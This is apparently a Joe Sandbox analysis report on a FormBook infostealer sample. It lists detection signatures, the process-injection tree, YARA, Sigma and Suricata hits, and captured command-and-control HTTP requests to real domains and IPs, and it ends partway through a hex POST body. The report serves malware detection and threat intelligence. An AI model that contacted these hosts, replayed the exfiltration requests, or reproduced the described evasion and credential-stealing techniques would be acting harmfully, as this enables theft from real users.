Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PAYMENT_ADVICE.exe

Overview

General Information

Sample name:PAYMENT_ADVICE.exe
Analysis ID:1565110
MD5:228fda4777b9efacf66e920158bfa794
SHA1:14d65679109465931a6c03bb241195b1607041fb
SHA256:1a552c79d04a85244459405c8a41c16c1febe837cf71fd1ead40365941a6f14a
Tags:exeuser-abuse_ch
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • PAYMENT_ADVICE.exe (PID: 3228 cmdline: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe" MD5: 228FDA4777B9EFACF66E920158BFA794)
    • svchost.exe (PID: 6804 cmdline: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • UaxTqwGUmcKB.exe (PID: 3008 cmdline: "C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • powercfg.exe (PID: 4508 cmdline: "C:\Windows\SysWOW64\powercfg.exe" MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)
          • UaxTqwGUmcKB.exe (PID: 2164 cmdline: "C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 3292 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", CommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", ParentImage: C:\Users\user\Desktop\PAYMENT_ADVICE.exe, ParentProcessId: 3228, ParentProcessName: PAYMENT_ADVICE.exe, ProcessCommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", ProcessId: 6804, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", CommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", ParentImage: C:\Users\user\Desktop\PAYMENT_ADVICE.exe, ParentProcessId: 3228, ParentProcessName: PAYMENT_ADVICE.exe, ProcessCommandLine: "C:\Users\user\Desktop\PAYMENT_ADVICE.exe", ProcessId: 6804, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-29T10:19:58.068625+010028554641A Network Trojan was detected192.168.2.54985943.205.198.2980TCP
                2024-11-29T10:20:00.725102+010028554641A Network Trojan was detected192.168.2.54986643.205.198.2980TCP
                2024-11-29T10:20:03.381032+010028554641A Network Trojan was detected192.168.2.54987343.205.198.2980TCP
                2024-11-29T10:20:12.810874+010028554641A Network Trojan was detected192.168.2.549894104.21.24.19880TCP
                2024-11-29T10:20:15.453830+010028554641A Network Trojan was detected192.168.2.549901104.21.24.19880TCP
                2024-11-29T10:20:18.149893+010028554641A Network Trojan was detected192.168.2.549907104.21.24.19880TCP
                2024-11-29T10:20:27.820861+010028554641A Network Trojan was detected192.168.2.549930194.245.148.18980TCP
                2024-11-29T10:20:30.464376+010028554641A Network Trojan was detected192.168.2.549938194.245.148.18980TCP
                2024-11-29T10:20:33.061208+010028554641A Network Trojan was detected192.168.2.549945194.245.148.18980TCP
                2024-11-29T10:20:42.815767+010028554641A Network Trojan was detected192.168.2.54996863.250.43.13480TCP
                2024-11-29T10:20:45.469779+010028554641A Network Trojan was detected192.168.2.54997563.250.43.13480TCP
                2024-11-29T10:20:48.186065+010028554641A Network Trojan was detected192.168.2.54998263.250.43.13480TCP
                2024-11-29T10:20:58.442277+010028554641A Network Trojan was detected192.168.2.54999513.248.169.4880TCP
                2024-11-29T10:21:01.150258+010028554641A Network Trojan was detected192.168.2.54999613.248.169.4880TCP
                2024-11-29T10:21:03.767218+010028554641A Network Trojan was detected192.168.2.54999713.248.169.4880TCP
                2024-11-29T10:21:13.518486+010028554641A Network Trojan was detected192.168.2.549999176.32.38.18380TCP
                2024-11-29T10:21:16.224873+010028554641A Network Trojan was detected192.168.2.550000176.32.38.18380TCP
                2024-11-29T10:21:18.849478+010028554641A Network Trojan was detected192.168.2.550001176.32.38.18380TCP
                2024-11-29T10:21:28.368793+010028554641A Network Trojan was detected192.168.2.550003203.161.43.22880TCP
                2024-11-29T10:21:31.127770+010028554641A Network Trojan was detected192.168.2.550004203.161.43.22880TCP
                2024-11-29T10:21:33.743138+010028554641A Network Trojan was detected192.168.2.550005203.161.43.22880TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: PAYMENT_ADVICE.exeReversingLabs: Detection: 36%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.3886149393.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886566452.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592496169.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: PAYMENT_ADVICE.exeJoe Sandbox ML: detected
                Source: PAYMENT_ADVICE.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: powercfg.pdbGCTL source: svchost.exe, 00000002.00000003.2561496091.000000000322D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2561190255.000000000321B000.00000004.00000020.00020000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000002.3886118942.00000000016B8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UaxTqwGUmcKB.exe, 00000005.00000002.3885555947.0000000000BAE000.00000002.00000001.01000000.00000005.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886003689.0000000000BAE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: PAYMENT_ADVICE.exe, 00000000.00000003.2047419042.0000000003850000.00000004.00001000.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2046228593.0000000003350000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2490345011.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2492330407.0000000003600000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2592862521.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.0000000003130000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.00000000032CE000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2595523560.0000000002F88000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: PAYMENT_ADVICE.exe, 00000000.00000003.2047419042.0000000003850000.00000004.00001000.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2046228593.0000000003350000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2490345011.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2492330407.0000000003600000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, powercfg.exe, 00000006.00000003.2592862521.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.0000000003130000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.00000000032CE000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2595523560.0000000002F88000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: powercfg.exe, 00000006.00000002.3885733273.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.000000000375C000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2662133744.0000000002E8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2885298117.0000000039E0C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: powercfg.exe, 00000006.00000002.3885733273.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.000000000375C000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2662133744.0000000002E8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2885298117.0000000039E0C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: powercfg.pdb source: svchost.exe, 00000002.00000003.2561496091.000000000322D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2561190255.000000000321B000.00000004.00000020.00020000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000002.3886118942.00000000016B8000.00000004.00000020.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_003A445A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AC6D1 FindFirstFileW,FindClose,0_2_003AC6D1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_003AC75C
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_003AEF95
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_003AF0F2
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_003AF3F3
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003A37EF
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003A3B12
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003ABCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_003ABCBC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0276C9B0 FindFirstFileW,FindNextFileW,FindClose,6_2_0276C9B0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 4x nop then xor eax, eax6_2_02759F20
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 4x nop then pop edi6_2_0275E620
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 4x nop then pop edi6_2_0275E5FC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 4x nop then mov ebx, 00000004h6_2_02F804DE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49866 -> 43.205.198.29:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49859 -> 43.205.198.29:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49901 -> 104.21.24.198:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49873 -> 43.205.198.29:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49894 -> 104.21.24.198:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49938 -> 194.245.148.189:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49907 -> 104.21.24.198:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49945 -> 194.245.148.189:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49975 -> 63.250.43.134:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49930 -> 194.245.148.189:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49968 -> 63.250.43.134:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49982 -> 63.250.43.134:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49996 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49995 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50005 -> 203.161.43.228:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49997 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50001 -> 176.32.38.183:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49999 -> 176.32.38.183:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50000 -> 176.32.38.183:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50003 -> 203.161.43.228:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50004 -> 203.161.43.228:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.oneeyetrousersnake.xyz
                Source: DNS query: www.heliopsis.xyz
                Source: DNS query: www.gadget2chg.xyz
                Source: Joe Sandbox ViewIP Address: 203.161.43.228 203.161.43.228
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_003B22EE
                Source: global trafficHTTP traffic detected: GET /mz0w/?Kt=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwu6QXrK/Xrl9qjfl8Z3JafzMchDfJIPgnZnABh7b80grHXg==&ej=DjJHGh2p HTTP/1.1Host: www.qqa79.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /6pwo/?Kt=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1ablTlmJmuwniwIktG0LR4Vta4YHqbD/D+6Yb2LW4lToPNN+g==&ej=DjJHGh2p HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /rk61/?Kt=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9PGgWsDb93CpdCwaL2XhBfxkUCZ4eWO5amsP6muPfZHOLUA==&ej=DjJHGh2p HTTP/1.1Host: www.supernutra01.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /hakt/?Kt=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkI/Ucb7mce9xulhvrmXd0czYvKT0YPlVSgAWpsmP7UtPllg==&ej=DjJHGh2p HTTP/1.1Host: www.wine-drinkers.clubAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /4inx/?Kt=sDTDh7fj6DzxR2Wt/KnZITMsl1NDzh93mdcFmOqtwCn9BmKSWf/wgC602TCPPwOOK5vOeFVgg5fJiwzQWOnTkok9LdIhxJNn3AefkK/GSNEWxCYPXPZu+RIfbk4D4WetZQ==&ej=DjJHGh2p HTTP/1.1Host: www.oneeyetrousersnake.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /69zn/?Kt=U6bX25ilP0+nNFzWMhcTpKMSa+pi3VyK6KjX4UoloLByN4NX1a2nZWsQj9ejM8NzdeHhYtmHRdmILHW/PyZcc+JUePBRJgs47Gll0LTLVnxoQfhnnmACRZp/5/eIF2CK+g==&ej=DjJHGh2p HTTP/1.1Host: www.heliopsis.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /k6y2/?ej=DjJHGh2p&Kt=fgA7CTCLrtlGNeUoMGyIbSQ8EJ1iYKEZg/zzngBydhoDPXUc6XmRrpi1DmZrnRnENYfWN5nsDCGikMIgKABsR55prdsvYtX8s/hh6XNJsBZDoY3izyRr0mIV4vACAfrFQg== HTTP/1.1Host: www.gadget2chg.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /idns/?Kt=tWu8S0gfwlp8I7S50P+oj6aKsUrLd1seaQNA2PXr1eeObh1NV8ksr3YF7EszsqbhtWgKLsqG/SyApVsbNYoWLtD0SL+KCzmIgbUZ3MRci350tQgHP9zkkiMqwhSLpQz6gw==&ej=DjJHGh2p HTTP/1.1Host: www.smartguide.websiteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                Source: global trafficDNS traffic detected: DNS query: www.qqa79.top
                Source: global trafficDNS traffic detected: DNS query: www.1secondlending.one
                Source: global trafficDNS traffic detected: DNS query: www.supernutra01.online
                Source: global trafficDNS traffic detected: DNS query: www.wine-drinkers.club
                Source: global trafficDNS traffic detected: DNS query: www.oneeyetrousersnake.xyz
                Source: global trafficDNS traffic detected: DNS query: www.heliopsis.xyz
                Source: global trafficDNS traffic detected: DNS query: www.gadget2chg.xyz
                Source: global trafficDNS traffic detected: DNS query: www.smartguide.website
                Source: unknownHTTP traffic detected: POST /6pwo/ HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflate, brContent-Length: 203Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedOrigin: http://www.1secondlending.oneReferer: http://www.1secondlending.one/6pwo/User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36Data Raw: 4b 74 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 73 6d 62 33 41 72 65 66 6b 56 39 78 73 78 63 4f 61 77 6a 48 68 77 45 4b 6a 4e 51 4b 73 39 6b 67 57 